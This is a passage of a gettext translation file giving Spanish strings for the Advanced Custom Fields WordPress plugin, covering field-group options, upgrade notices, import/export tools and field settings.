#: admin/views/field-group-locations.php:52
msgid "Page Parent"
msgstr "Página Superior"

#: admin/views/field-group-locations.php:55 fields/user.php:36
msgid "User"
msgstr "Usuario"

#: admin/views/field-group-locations.php:56
msgid "Current User"
msgstr "Usuario Actual"

#: admin/views/field-group-locations.php:57
msgid "Current User Role"
msgstr "Rol del Usuario Actual"

#: admin/views/field-group-locations.php:58
msgid "User Form"
msgstr "Formulario de Usuario"

#: admin/views/field-group-locations.php:59
msgid "User Role"
msgstr "Rol de Usuario"

#: admin/views/field-group-locations.php:61 pro/admin/options-page.php:48
msgid "Forms"
msgstr "Formularios"

#: admin/views/field-group-locations.php:62
msgid "Attachment"
msgstr "Adjunto"

#: admin/views/field-group-locations.php:63
msgid "Taxonomy Term"
msgstr "Término de Taxonomía"

#: admin/views/field-group-locations.php:64
msgid "Comment"
msgstr "Comentario"

#: admin/views/field-group-locations.php:65
msgid "Widget"
msgstr "Widget"

#: admin/views/field-group-options.php:25
msgid "Style"
msgstr "Estilo"

#: admin/views/field-group-options.php:32
msgid "Standard (WP metabox)"
msgstr "Estándar (WP metabox)"

#: admin/views/field-group-options.php:33
msgid "Seamless (no metabox)"
msgstr "Directo (sin metabox)"

#: admin/views/field-group-options.php:40
msgid "Position"
msgstr "Posición"

#: admin/views/field-group-options.php:47
msgid "High (after title)"
msgstr "Alta (después del título)"

#: admin/views/field-group-options.php:48
msgid "Normal (after content)"
msgstr "Normal (después del contenido)"

#: admin/views/field-group-options.php:49
msgid "Side"
msgstr "Lateral"

#: admin/views/field-group-options.php:57
msgid "Label placement"
msgstr "Ubicación de la etiqueta"

#: admin/views/field-group-options.php:64 fields/tab.php:159
msgid "Top aligned"
msgstr "Alineada arriba"

#: admin/views/field-group-options.php:65 fields/tab.php:160
msgid "Left Aligned"
msgstr "Alineada a la izquierda"

#: admin/views/field-group-options.php:72
msgid "Instruction placement"
msgstr "Ubicación de la instrucción"

#: admin/views/field-group-options.php:79
msgid "Below labels"
msgstr "Debajo de las etiquetas"

#: admin/views/field-group-options.php:80
msgid "Below fields"
msgstr "Debajo de los campos"

#: admin/views/field-group-options.php:87
msgid "Order No."
msgstr "Número de orden"

#: admin/views/field-group-options.php:88
msgid "Field groups with a lower order will appear first"
msgstr "Los grupos de campos con menor orden aparecerán primero"

#: admin/views/field-group-options.php:99
msgid "Shown in field group list"
msgstr "Mostrado en lista de grupos de campos"

#: admin/views/field-group-options.php:109
msgid "Hide on screen"
msgstr "Esconder en pantalla"

#: admin/views/field-group-options.php:110
msgid "<b>Select</b> items to <b>hide</b> them from the edit screen."
msgstr ""
"<b>Selecciona</b> los items para <b>esconderlos</b> en la pantalla de "
"edición."

#: admin/views/field-group-options.php:110
msgid ""
"If multiple field groups appear on an edit screen, the first field group's "
"options will be used (the one with the lowest order number)"
msgstr ""
"Si múltiples grupos de campos aparecen en una pantalla de edición, las "
"opciones del primer grupo serán utilizadas (el que tiene el menor número de "
"orden)"

#: admin/views/field-group-options.php:117
msgid "Permalink"
msgstr "Enlace Permanente"

#: admin/views/field-group-options.php:118
msgid "Content Editor"
msgstr "Editor de Contenido"

#: admin/views/field-group-options.php:119
msgid "Excerpt"
msgstr "Extracto"

#: admin/views/field-group-options.php:121
msgid "Discussion"
msgstr "Discusión"

#: admin/views/field-group-options.php:122
msgid "Comments"
msgstr "Comentarios"

#: admin/views/field-group-options.php:123
msgid "Revisions"
msgstr "Revisiones"

#: admin/views/field-group-options.php:124
msgid "Slug"
msgstr "Slug"

#: admin/views/field-group-options.php:125
msgid "Author"
msgstr "Autor"

#: admin/views/field-group-options.php:126
msgid "Format"
msgstr "Formato"

#: admin/views/field-group-options.php:127
msgid "Page Attributes"
msgstr "Atributos de Página"

#: admin/views/field-group-options.php:128 fields/relationship.php:737
msgid "Featured Image"
msgstr "Imagen Destacada"

#: admin/views/field-group-options.php:129
msgid "Categories"
msgstr "Categorías"

#: admin/views/field-group-options.php:130
msgid "Tags"
msgstr "Etiquetas"

#: admin/views/field-group-options.php:131
msgid "Send Trackbacks"
msgstr "Enviar Trackbacks"

#: admin/views/settings-addons.php:23
msgid "Download & Install"
msgstr "Descargar e Instalar"

#: admin/views/settings-addons.php:42
msgid "Installed"
msgstr "Instalado"

#: admin/views/settings-info.php:9
msgid "Welcome to Advanced Custom Fields"
msgstr "Bienvenido a Advanced Custom Fields"

#: admin/views/settings-info.php:10
#, php-format
msgid ""
"Thank you for updating! ACF %s is bigger and better than ever before. We "
"hope you like it."
msgstr ""
"Gracias por actualizar! ACF %s es más grande y poderoso que nunca.  "
"Esperamos que te guste."

#: admin/views/settings-info.php:23
msgid "A smoother custom field experience"
msgstr "Una experiencia de campos personalizados más fluida"

#: admin/views/settings-info.php:28
msgid "Improved Usability"
msgstr "Usabilidad Mejorada"

#: admin/views/settings-info.php:29
msgid ""
"Including the popular Select2 library has improved both usability and speed "
"across a number of field types including post object, page link, taxonomy "
"and select."
msgstr ""
"Incluir la popular librería Select2 ha mejorado tanto la usabilidad como la "
"velocidad a través de varios tipos de campos, incluyendo el objeto post , "
"link a página, taxonomía y selección."

#: admin/views/settings-info.php:33
msgid "Improved Design"
msgstr "Diseño Mejorado"

#: admin/views/settings-info.php:34
msgid ""
"Many fields have undergone a visual refresh to make ACF look better than "
"ever! Noticeable changes are seen on the gallery, relationship and oEmbed "
"(new) fields!"
msgstr ""
"Muchos campos han experimentado un mejorado visual para hacer que ACF luzca "
"mejor que nunca! Hay cambios notables en los campos de galería, relación y "
"oEmbed (nuevo)!"

#: admin/views/settings-info.php:38
msgid "Improved Data"
msgstr "Datos Mejorados"

#: admin/views/settings-info.php:39
msgid ""
"Redesigning the data architecture has allowed sub fields to live "
"independently from their parents. This allows you to drag and drop fields in "
"and out of parent fields!"
msgstr ""
"Rediseñar la arquitectura de datos ha permitido que los sub campos vivan "
"independientemente de sus padres.  Esto permite arrastrar y soltar campos "
"desde y hacia otros campos padres!"

#: admin/views/settings-info.php:45
msgid "Goodbye Add-ons. Hello PRO"
msgstr "Adiós Agregados.  Hola PRO"

#: admin/views/settings-info.php:50
msgid "Introducing ACF PRO"
msgstr "Presentando ACF PRO"

#: admin/views/settings-info.php:51
msgid ""
"We're changing the way premium functionality is delivered in an exciting way!"
msgstr ""
"Estamos cambiando la manera en que las funcionalidades premium son brindadas "
"de un modo muy interesante!"

#: admin/views/settings-info.php:52
#, php-format
msgid ""
"All 4 premium add-ons have been combined into a new <a href=\"%s\">Pro "
"version of ACF</a>. With both personal and developer licenses available, "
"premium functionality is more affordable and accessible than ever before!"
msgstr ""
"Todos los 4 agregados premium han sido combinados en una nueva <a href=\"%s"
"\">version Pro de ACF</a>. Con lincencias personales y para desarrolladores "
"disponibles, la funcionalidad premium es más acequible que nunca!"

#: admin/views/settings-info.php:56
msgid "Powerful Features"
msgstr "Características Poderosas"

#: admin/views/settings-info.php:57
msgid ""
"ACF PRO contains powerful features such as repeatable data, flexible content "
"layouts, a beautiful gallery field and the ability to create extra admin "
"options pages!"
msgstr ""
"ACF PRO contiene poderosas características como campo de repetición, "
"contenido con disposición flexible, un hermoso campo de galería y la "
"habilidad de crear páginas de opciones extra en el panel de administración."

#: admin/views/settings-info.php:58
#, php-format
msgid "Read more about <a href=\"%s\">ACF PRO features</a>."
msgstr "Lee más acerca de las <a href=\"%s\">características de ACF PRO</a>."

#: admin/views/settings-info.php:62
msgid "Easy Upgrading"
msgstr "Fácil Actualización"

#: admin/views/settings-info.php:63
#, php-format
msgid ""
"To help make upgrading easy, <a href=\"%s\">login to your store account</a> "
"and claim a free copy of ACF PRO!"
msgstr ""
"Para facilitar la actualización, <a href=\"%s\">accede a tu cuenta en "
"nuestra tienda</a> y solicita una copia gratis de ACF PRO!"

#: admin/views/settings-info.php:64
#, php-format
msgid ""
"We also wrote an <a href=\"%s\">upgrade guide</a> to answer any questions, "
"but if you do have one, please contact our support team via the <a href=\"%s"
"\">help desk</a>"
msgstr ""
"Nosotros también escribimos una <a href=\"%s\">guía de actualización</a> "
"para responder cualquier pregunta, pero si tienes una, por favor contacta "
"nuestro equipo de soporte via <a href=\"%s\">mesa de ayuda</a>"

#: admin/views/settings-info.php:72
msgid "Under the Hood"
msgstr "Debajo del Capó"

#: admin/views/settings-info.php:77
msgid "Smarter field settings"
msgstr "Ajustes de campos más inteligentes"

#: admin/views/settings-info.php:78
msgid "ACF now saves its field settings as individual post objects"
msgstr ""
"ACF ahora guarda los ajustes de los campos como objetos post individuales"

#: admin/views/settings-info.php:82
msgid "More AJAX"
msgstr "Más AJAX"

#: admin/views/settings-info.php:83
msgid "More fields use AJAX powered search to speed up page loading"
msgstr ""
"Más campos utilizan búsqueda manejada por AJAX para acelerar la carga de "
"página"

#: admin/views/settings-info.php:87
msgid "Local JSON"
msgstr "JSON Local"

#: admin/views/settings-info.php:88
msgid "New auto export to JSON feature improves speed"
msgstr "La nueva funcionalidad de exportar a JSON mejora la velocidad"

#: admin/views/settings-info.php:94
msgid "Better version control"
msgstr "Mejor Control por Versiones"

#: admin/views/settings-info.php:95
msgid ""
"New auto export to JSON feature allows field settings to be version "
"controlled"
msgstr ""
"La nueva funcionalidad de exporta a JSON permite que los ajustes de los "
"campos se controlen por versiones"

#: admin/views/settings-info.php:99
msgid "Swapped XML for JSON"
msgstr "Reemplazamos XML por JSON"

#: admin/views/settings-info.php:100
msgid "Import / Export now uses JSON in favour of XML"
msgstr "Importar / Exportar ahora utilizan JSON en vez de XML"

#: admin/views/settings-info.php:104
msgid "New Forms"
msgstr "Nuevos Formularios"

#: admin/views/settings-info.php:105
msgid "Fields can now be mapped to comments, widgets and all user forms!"
msgstr ""
"Los campos ahora pueden ser mapeados a comentarios, widgets y todos los "
"formularios de usuario!"

#: admin/views/settings-info.php:112
msgid "A new field for embedding content has been added"
msgstr "Se agregó un nuevo campo para embeber contenido."

#: admin/views/settings-info.php:116
msgid "New Gallery"
msgstr "Nueva Galería"

#: admin/views/settings-info.php:117
msgid "The gallery field has undergone a much needed facelift"
msgstr "El campo galería ha experimentado un muy necesario lavado de cara"

#: admin/views/settings-info.php:121
msgid "New Settings"
msgstr "Nuevos Ajustes"

#: admin/views/settings-info.php:122
msgid ""
"Field group settings have been added for label placement and instruction "
"placement"
msgstr ""
"Se agregaron ajustes de grupos de campos para posicionamiento de las "
"etiquetas y las instrucciones"

#: admin/views/settings-info.php:128
msgid "Better Front End Forms"
msgstr "Mejores formularios para Front End"

#: admin/views/settings-info.php:129
msgid "acf_form() can now create a new post on submission"
msgstr "acf_form() ahora puede crear nuevos post"

#: admin/views/settings-info.php:133
msgid "Better Validation"
msgstr "Mejor Validación"

#: admin/views/settings-info.php:134
msgid "Form validation is now done via PHP + AJAX in favour of only JS"
msgstr ""
"La validación de los formularios es ahora realizada via PHP + AJAX en vez de "
"sólo JS"

#: admin/views/settings-info.php:138
msgid "Relationship Field"
msgstr "Campod de Relación"

#: admin/views/settings-info.php:139
msgid ""
"New Relationship field setting for 'Filters' (Search, Post Type, Taxonomy)"
msgstr ""
"Nuevos ajustes para 'Filtros' en camp de Relación (Búsqueda, Tipo de Post, "
"Taxonomía)"

#: admin/views/settings-info.php:145
msgid "Moving Fields"
msgstr "Moviendo Campos"

#: admin/views/settings-info.php:146
msgid ""
"New field group functionality allows you to move a field between groups & "
"parents"
msgstr ""
"Nueva funcionalidad de grupos permite mover campos entre grupos y padres"

#: admin/views/settings-info.php:150 fields/page_link.php:36
msgid "Page Link"
msgstr "Link de página"

#: admin/views/settings-info.php:151
msgid "New archives group in page_link field selection"
msgstr "Nuevo grupo archivos en el campo de selección de page_link"

#: admin/views/settings-info.php:155
msgid "Better Options Pages"
msgstr "Mejores Páginas de Opciones"

#: admin/views/settings-info.php:156
msgid ""
"New functions for options page allow creation of both parent and child menu "
"pages"
msgstr ""
"Nuevas funciones para las páginas de opciones permiten crear tanto páginas "
"de menú hijas como superiores."

#: admin/views/settings-info.php:165
#, php-format
msgid "We think you'll love the changes in %s."
msgstr "Creemos que te encantarán los cambios en %s."

#: admin/views/settings-tools-export.php:13
msgid "Export Field Groups to PHP"
msgstr "Exportar Field Groups a PHP"

#: admin/views/settings-tools-export.php:17
msgid ""
"The following code can be used to register a local version of the selected "
"field group(s). A local field group can provide many benefits such as faster "
"load times, version control & dynamic fields/settings. Simply copy and paste "
"the following code to your theme's functions.php file or include it within "
"an external file."
msgstr ""
"El siguiente código puede ser utilizado para registrar una versión local del "
"o los grupos seleccionados.  Un grupo de campos local puede brindar muchos "
"beneficios como tiempos de carga más cortos, control por versiones y campos/"
"ajustes dinámicos.  Simplemente copia y pega el siguiente código en el "
"archivo functions.php de tu tema o inclúyelo como un archivo externo."

#: admin/views/settings-tools.php:5
msgid "Select Field Groups"
msgstr "Selleciona Grupos de Campos"

#: admin/views/settings-tools.php:35
msgid "Export Field Groups"
msgstr "Exportar Grupos de Campos"

#: admin/views/settings-tools.php:38
msgid ""
"Select the field groups you would like to export and then select your export "
"method. Use the download button to export to a .json file which you can then "
"import to another ACF installation. Use the generate button to export to PHP "
"code which you can place in your theme."
msgstr ""
"Selecciona los grupos de campos que te gustaría exportar y luego elige tu "
"método de exportación.  Utiliza el boton de descarga para exportar a un "
"archivo .json el cual luego puedes importar en otra instalación de ACF. "
"Utiliza el botón de generación para exportar a código PHP que puedes incluir "
"en tu tema."

#: admin/views/settings-tools.php:50
msgid "Download export file"
msgstr "Descargar archivo de exportación"

#: admin/views/settings-tools.php:51
msgid "Generate export code"
msgstr "Generar código de exportación"

#: admin/views/settings-tools.php:64
msgid "Import Field Groups"
msgstr "Importar Field Group"

#: admin/views/settings-tools.php:67
msgid ""
"Select the Advanced Custom Fields JSON file you would like to import. When "
"you click the import button below, ACF will import the field groups."
msgstr ""
"Selecciona el archivo JSON de Advanced Custom Fields que te gustaría "
"importar.  Cuando hagas click en el botón importar debajo, ACF importará los "
"grupos de campos."

#: admin/views/settings-tools.php:77 fields/file.php:46
msgid "Select File"
msgstr "Seleccionar archivo"

#: admin/views/settings-tools.php:86
msgid "Import"
msgstr "Importar"

#: admin/views/update-network.php:8 admin/views/update.php:8
msgid "Advanced Custom Fields Database Upgrade"
msgstr "Actualización de Base de Datos de Advanced Custom Fields"

#: admin/views/update-network.php:10
msgid ""
"The following sites require a DB upgrade. Check the ones you want to update "
"and then click “Upgrade Database”."
msgstr ""
"Los siguientes sitios requieren una actualización de base de datos. Tilda "
"los que quieres actualizar y haz click en \"Actualizar Base de Datos\"."

#: admin/views/update-network.php:19 admin/views/update-network.php:27
msgid "Site"
msgstr "Sitio"

#: admin/views/update-network.php:47
#, php-format
msgid "Site requires database upgrade from %s to %s"
msgstr "El sitio requiere actualización de base de datos de %s a %s"

#: admin/views/update-network.php:49
msgid "Site is up to date"
msgstr "El sitio está actualizado"

#: admin/views/update-network.php:62 admin/views/update.php:16
msgid "Database Upgrade complete. <a href=\"%s\">Return to network dashboard</a>"
msgstr "Actualización de base de datos completa. <a href=\"%s\">Regresar al Escritorio de Red</a>"

#: admin/views/update-network.php:101 admin/views/update-notice.php:35
msgid ""
"It is strongly recommended that you backup your database before proceeding. "
"Are you sure you wish to run the updater now?"
msgstr ""
"Es fuertemente recomendado que hagas un backup de tu base de datos antes de "
"continuar. Estás seguro que quieres ejecutar la actualización ahora?"

#: admin/views/update-network.php:157
msgid "Upgrade complete"
msgstr "Actualización completa"

#: admin/views/update-network.php:161
msgid "Upgrading data to"
msgstr "Actualizando datos a"

#: admin/views/update-notice.php:23
msgid "Database Upgrade Required"
msgstr "Actualización de Base de Datos Requerida"

#: admin/views/update-notice.php:25
#, php-format
msgid "Thank you for updating to %s v%s!"
msgstr "Gracias por actualizar a %s v%s!"

#: admin/views/update-notice.php:25
msgid ""
"Before you start using the new awesome features, please update your database "
"to the newest version."
msgstr ""
"Antes de comenzar a utilizar las nuevas y excelentes características, por "
"favor actualizar tu base de datos a la versión más nueva."

#: admin/views/update.php:12
msgid "Reading upgrade tasks..."
msgstr "Leyendo tareas de actualización..."

#: admin/views/update.php:14
#, php-format
msgid "Upgrading data to version %s"
msgstr "Actualizando datos a la versión %s."

#: admin/views/update.php:16
msgid "See what's new"
msgstr "Mira qué hay de nuevo"

#: admin/views/update.php:110
msgid "No updates available."
msgstr "No hay actualizaciones disponibles."

#: api/api-helpers.php:821
msgid "Thumbnail"
msgstr "Miniatura"

#: api/api-helpers.php:822
msgid "Medium"
msgstr "Medio"

#: api/api-helpers.php:823
msgid "Large"
msgstr "GRande"

#: api/api-helpers.php:871
msgid "Full Size"
msgstr "Tamaño Completo"

#: api/api-helpers.php:1581
msgid "(no title)"
msgstr "(sin título)"

#: api/api-helpers.php:3183
#, php-format
msgid "Image width must be at least %dpx."
msgstr "El ancho de la imagen debe ser al menos %dpx."

#: api/api-helpers.php:3188
#, php-format
msgid "Image width must not exceed %dpx."
msgstr "El ancho de la imagen no debe exceder %dpx."

#: api/api-helpers.php:3204
#, php-format
msgid "Image height must be at least %dpx."
msgstr "La altura de la imagen debe ser al menos %dpx."

#: api/api-helpers.php:3209
#, php-format
msgid "Image height must not exceed %dpx."
msgstr "La altura de la imagen no debe exceder %dpx."

#: api/api-helpers.php:3227
#, php-format
msgid "File size must be at least %s."
msgstr "El tamaño de archivo debe ser al menos %s."

#: api/api-helpers.php:3232
#, php-format
msgid "File size must must not exceed %s."
msgstr "El tamaño de archivo no debe exceder %s."

#: api/api-helpers.php:3266
#, php-format
msgid "File type must be %s."
msgstr "El tipo de archivo debe ser %s."

#: api/api-template.php:1289 pro/fields/gallery.php:564
msgid "Update"
msgstr "Actualizar"

#: api/api-template.php:1290
msgid "Post updated"
msgstr "Post actualizado"

#: core/field.php:131
msgid "Basic"
msgstr "Básico"

#: core/field.php:132
msgid "Content"
msgstr "Contenido"

#: core/field.php:133
msgid "Choice"
msgstr "Elección"

#: core/field.php:134
msgid "Relational"
msgstr "Relación"

#: core/field.php:135
msgid "jQuery"
msgstr "jQuery"

#: core/field.php:136 fields/checkbox.php:226 fields/radio.php:231
#: pro/fields/flexible-content.php:512 pro/fields/repeater.php:392
msgid "Layout"
msgstr "Layout"

#: core/input.php:129
msgid "Expand Details"
msgstr "Expandir Detalles"

#: core/input.php:130
msgid "Collapse Details"
msgstr "Colapsar Detalles"

#: core/input.php:131
msgid "Validation successful"
msgstr "Validación exitosa"

#: core/input.php:132
msgid "Validation failed"
msgstr "Validación fallida"

#: core/input.php:133
msgid "1 field requires attention"
msgstr "1 campo requiere atención"

#: core/input.php:134
#, php-format
msgid "%d fields require attention"
msgstr "%d campos requieren atención"

#: core/input.php:135
msgid "Restricted"
msgstr "Restringido"

#: core/input.php:533
#, php-format
msgid "%s value is required"
msgstr "El valor %s es requerido"

#: fields/checkbox.php:36 fields/taxonomy.php:752
msgid "Checkbox"
msgstr "Checkbox"

#: fields/checkbox.php:144
msgid "Toggle All"
msgstr "Invertir Todos"

#: fields/checkbox.php:208 fields/radio.php:193 fields/select.php:388
msgid "Choices"
msgstr "Opciones"

#: fields/checkbox.php:209 fields/radio.php:194 fields/select.php:389
msgid "Enter each choice on a new line."
msgstr "Ingresa cada opción en una nueva línea"

#: fields/checkbox.php:209 fields/radio.php:194 fields/select.php:389
msgid "For more control, you may specify both a value and label like this:"
msgstr ""
"Para más control, puedes especificar tanto un valor como una etiqueta, así:"

#: fields/checkbox.php:209 fields/radio.php:194 fields/select.php:389
msgid "red : Red"
msgstr "rojo : Rojo"

#: fields/checkbox.php:217 fields/color_picker.php:158 fields/email.php:124
#: fields/number.php:150 fields/radio.php:222 fields/select.php:397
#: fields/text.php:148 fields/textarea.php:145 fields/true_false.php:115
#: fields/url.php:117 fields/wysiwyg.php:345
msgid "Default Value"
msgstr "Valor por defecto"

#: fields/checkbox.php:218 fields/select.php:398
msgid "Enter each default value on a new line"
msgstr "Ingresa cada valor en una nueva línea"

#: fields/checkbox.php:232 fields/radio.php:237
msgid "Vertical"
msgstr "Vertical"

#: fields/checkbox.php:233 fields/radio.php:238
msgid "Horizontal"
msgstr "Horizontal"

#: fields/checkbox.php:240
msgid "Toggle"
msgstr "Invertir"

#: fields/checkbox.php:241
msgid "Prepend an extra checkbox to toggle all choices"
msgstr "Anteponer un checkbox extra para invertir todas las opciones"

#: fields/color_picker.php:36
msgid "Color Picker"
msgstr "Selector de color"

#: fields/color_picker.php:94
msgid "Clear"
msgstr "Limpiar"

#: fields/color_picker.php:95
msgid "Default"
msgstr "Por defecto"

#: fields/color_picker.php:96
msgid "Select Color"
msgstr "Selecciona Color"

#: fields/date_picker.php:36
msgid "Date Picker"
msgstr "Selector de Fecha"

#: fields/date_picker.php:72
msgid "Done"
msgstr "Hecho"

#: fields/date_picker.php:73
msgid "Today"
msgstr "Hoy"

#: fields/date_picker.php:76
msgid "Show a different month"
msgstr "Mostrar un mes diferente"

#: fields/date_picker.php:149
msgid "Display Format"
msgstr "Formato de Visualización"

#: fields/date_picker.php:150
msgid "The format displayed when editing a post"
msgstr "El formato mostrado cuando se edita un post"

#: fields/date_picker.php:164
msgid "Return format"
msgstr "Formato de Retorno"

#: fields/date_picker.php:165
msgid "The format returned via template functions"
msgstr "El formato retornado a través de las funciones del tema"

#: fields/date_picker.php:180
msgid "Week Starts On"
msgstr "La semana comenza en "

#: fields/email.php:36
msgid "Email"
msgstr "Email"

#: fields/email.php:125 fields/number.php:151 fields/radio.php:223
#: fields/text.php:149 fields/textarea.php:146 fields/url.php:118
#: fields/wysiwyg.php:346
msgid "Appears when creating a new post"
msgstr "Aparece cuando se está creando un nuevo post"

#: fields/email.php:133 fields/number.php:159 fields/password.php:137
#: fields/text.php:157 fields/textarea.php:154 fields/url.php:126
msgid "Placeholder Text"
msgstr "Marcador de Texto"

#: fields/email.php:134 fields/number.php:160 fields/password.php:138
#: fields/text.php:158 fields/textarea.php:155 fields/url.php:127
msgid "Appears within the input"
msgstr "Aparece en el campo"

#: fields/email.php:142 fields/number.php:168 fields/password.php:146
#: fields/text.php:166
msgid "Prepend"
msgstr "Anteponer"

#: fields/email.php:143 fields/number.php:169 fields/password.php:147
#: fields/text.php:167
msgid "Appears before the input"
msgstr "Aparece antes del campo"

#: fields/email.php:151 fields/number.php:177 fields/password.php:155
#: fields/text.php:175
msgid "Append"
msgstr "Anexar"

#: fields/email.php:152 fields/number.php:178 fields/password.php:156
#: fields/text.php:176
msgid "Appears after the input"
msgstr "Aparece luego del campo"

#: fields/file.php:36
msgid "File"
msgstr "Archivo"

#: fields/file.php:47
msgid "Edit File"
msgstr "Editar Archivo"

#: fields/file.php:48
msgid "Update File"
msgstr "Actualizar Archivo"

#: fields/file.php:49 pro/fields/gallery.php:55
msgid "uploaded to this post"
msgstr "subidos a este post"

#: fields/file.php:142
msgid "File Name"
msgstr "Nombre de Archivo"

#: fields/file.php:146
msgid "File Size"
msgstr "Tamaño de Archivo"

#: fields/file.php:169
msgid "No File selected"
msgstr "No hay ningún archivo seleccionado"

#: fields/file.php:169
msgid "Add File"
msgstr "Añadir archivo"

#: fields/file.php:214 fields/image.php:195 fields/taxonomy.php:821
msgid "Return Value"
msgstr "Retornar valor"

#: fields/file.php:215 fields/image.php:196
msgid "Specify the returned value on front end"
msgstr "Especifica el valor retornado en el front end"

#: fields/file.php:220
msgid "File Array"
msgstr "Array de Archivo"

#: fields/file.php:221
msgid "File URL"
msgstr "URL de Archivo"

#: fields/file.php:222
msgid "File ID"
msgstr "ID de Archivo"

#: fields/file.php:229 fields/image.php:220 pro/fields/gallery.php:647
msgid "Library"
msgstr "Librería"

#: fields/file.php:230 fields/image.php:221 pro/fields/gallery.php:648
msgid "Limit the media library choice"
msgstr "Limitar las opciones de la librería de medios"

#: fields/file.php:236 fields/image.php:227 pro/fields/gallery.php:654
msgid "Uploaded to post"
msgstr "Subidos al post"

#: fields/file.php:243 fields/image.php:234 pro/fields/gallery.php:661
msgid "Minimum"
msgstr "Mínimo"

#: fields/file.php:244 fields/file.php:255
msgid "Restrict which files can be uploaded"
msgstr "Restringir qué archivos pueden ser subidos"

#: fields/file.php:247 fields/file.php:258 fields/image.php:257
#: fields/image.php:290 pro/fields/gallery.php:684 pro/fields/gallery.php:717
msgid "File size"
msgstr "Tamaño de Archivo"

#: fields/file.php:254 fields/image.php:267 pro/fields/gallery.php:694
msgid "Maximum"
msgstr "Máximo"

#: fields/file.php:265 fields/image.php:300 pro/fields/gallery.php:727
msgid "Allowed file types"
msgstr "Tipos de archivos permitidos"

#: fields/file.php:266 fields/image.php:301 pro/fields/gallery.php:728
msgid "Comma separated list. Leave blank for all types"
msgstr "Lista separada por comas.  Deja en blanco para todos los tipos"

#: fields/google-map.php:36
msgid "Google Map"
msgstr "Mapa de Google"

#: fields/google-map.php:51
msgid "Locating"
msgstr "Ubicando"

#: fields/google-map.php:52
msgid "Sorry, this browser does not support geolocation"
msgstr "Disculpas, este navegador no soporta geolocalización"

#: fields/google-map.php:135
msgid "Clear location"
msgstr "Borrar ubicación"

#: fields/google-map.php:140
msgid "Find current location"
msgstr "Encontrar ubicación actual"

#: fields/google-map.php:141
msgid "Search for address..."
msgstr "Buscar dirección..."

#: fields/google-map.php:173 fields/google-map.php:184
msgid "Center"
msgstr "Centro"

#: fields/google-map.php:174 fields/google-map.php:185
msgid "Center the initial map"
msgstr "Centrar inicialmente el mapa"

#: fields/google-map.php:198
msgid "Zoom"
msgstr "Zoom"

#: fields/google-map.php:199
msgid "Set the initial zoom level"
msgstr "Setear el nivel inicial de zoom"

#: fields/google-map.php:208 fields/image.php:246 fields/image.php:279
#: fields/oembed.php:262 pro/fields/gallery.php:673 pro/fields/gallery.php:706
msgid "Height"
msgstr "Altura"

#: fields/google-map.php:209
msgid "Customise the map height"
msgstr "Personalizar altura de mapa"

#: fields/image.php:36
msgid "Image"
msgstr "Imagen"

#: fields/image.php:51
msgid "Select Image"
msgstr "Seleccionar Imagen"

#: fields/image.php:52 pro/fields/gallery.php:53
msgid "Edit Image"
msgstr "Editar Imagen"

#: fields/image.php:53 pro/fields/gallery.php:54
msgid "Update Image"
msgstr "Actualizar Imagen"

#: fields/image.php:54
msgid "Uploaded to this post"
msgstr "Subidos a este post"

#: fields/image.php:55
msgid "All images"
msgstr "Todas las imágenes"

#: fields/image.php:147
msgid "No image selected"
msgstr "No hay ninguna imagen seleccionada"

#: fields/image.php:147
msgid "Add Image"
msgstr "Añadir Imagen"

#: fields/image.php:201
msgid "Image Array"
msgstr "Array de Imagen"

#: fields/image.php:202
msgid "Image URL"
msgstr "URL de Imagen"

#: fields/image.php:203
msgid "Image ID"
msgstr "ID de Imagen"

#: fields/image.php:210 pro/fields/gallery.php:637
msgid "Preview Size"
msgstr "Tamaño del Preview"

#: fields/image.php:211 pro/fields/gallery.php:638
msgid "Shown when entering data"
msgstr "Mostrado cuando se ingresan datos"

#: fields/image.php:235 fields/image.php:268 pro/fields/gallery.php:662
#: pro/fields/gallery.php:695
msgid "Restrict which images can be uploaded"
msgstr "Restringir cuáles imágenes pueden ser subidas"

#: fields/image.php:238 fields/image.php:271 fields/oembed.php:251
#: pro/fields/gallery.php:665 pro/fields/gallery.php:698
msgid "Width"
msgstr "Ancho"

#: fields/message.php:36 fields/message.php:103 fields/true_false.php:106
msgid "Message"
msgstr "Mensaje"

#: fields/message.php:104
msgid "Please note that all text will first be passed through the wp function "
msgstr ""
"Por favor toma en cuenta que todo el texto será pasado primero por la "
"función wp"

#: fields/message.php:112
msgid "Escape HTML"
msgstr "Escapar HTML"

#: fields/message.php:113
msgid "Allow HTML markup to display as visible text instead of rendering"
msgstr ""
"Permitir que el maquetado HTML se muestre como texto visible en vez de "
"interpretarlo"

#: fields/number.php:36
msgid "Number"
msgstr "Número"

#: fields/number.php:186
msgid "Minimum Value"
msgstr "Valor Mínimo"

#: fields/number.php:195
msgid "Maximum Value"
msgstr "Valor Máximo"

#: fields/number.php:204
msgid "Step Size"
msgstr "Tamaño del Paso"

#: fields/number.php:242
msgid "Value must be a number"
msgstr "El valor debe ser un número"

#: fields/number.php:260
#, php-format
msgid "Value must be equal to or higher than %d"
msgstr "El valor debe ser mayor o igual a %d"

#: fields/number.php:268
#, php-format
msgid "Value must be equal to or lower than %d"
msgstr "El valor debe ser menor o igual a %d"

#: fields/oembed.php:36
msgid "oEmbed"
msgstr "oEmbed"

#: fields/oembed.php:199
msgid "Enter URL"
msgstr "Ingresa URL"

#: fields/oembed.php:212
msgid "No embed found for the given URL."
msgstr "No se encontró embed para la URL proporcionada."

#: fields/oembed.php:248 fields/oembed.php:259
msgid "Embed Size"
msgstr "Tamaño del Embed"

#: fields/page_link.php:206
msgid "Archives"
msgstr "Archivos"

#: fields/page_link.php:535 fields/post_object.php:401
#: fields/relationship.php:690
msgid "Filter by Post Type"
msgstr "Filtrar por Tipo de Post"

#: fields/page_link.php:543 fields/post_object.php:409
#: fields/relationship.php:698
msgid "All post types"
msgstr "Todos los Tipos de Post"

#: fields/page_link.php:549 fields/post_object.php:415
#: fields/relationship.php:704
msgid "Filter by Taxonomy"
msgstr "Filtrar por Taxonomía"

#: fields/page_link.php:557 fields/post_object.php:423
#: fields/relationship.php:712
msgid "All taxonomies"
msgstr "Todas las taxonomías"

#: fields/page_link.php:563 fields/post_object.php:429 fields/select.php:406
#: fields/taxonomy.php:765 fields/user.php:452
msgid "Allow Null?"
msgstr "Permitir Vacío?"

#: fields/page_link.php:577 fields/post_object.php:443 fields/select.php:420
#: fields/user.php:466
msgid "Select multiple values?"
msgstr "¿Seleccionar valores múltiples?"

#: fields/password.php:36
msgid "Password"
msgstr "Contraseña"

#: fields/post_object.php:36 fields/post_object.php:462
#: fields/relationship.php:769
msgid "Post Object"
msgstr "Objecto Post"

#: fields/post_object.php:457 fields/relationship.php:764
msgid "Return Format"
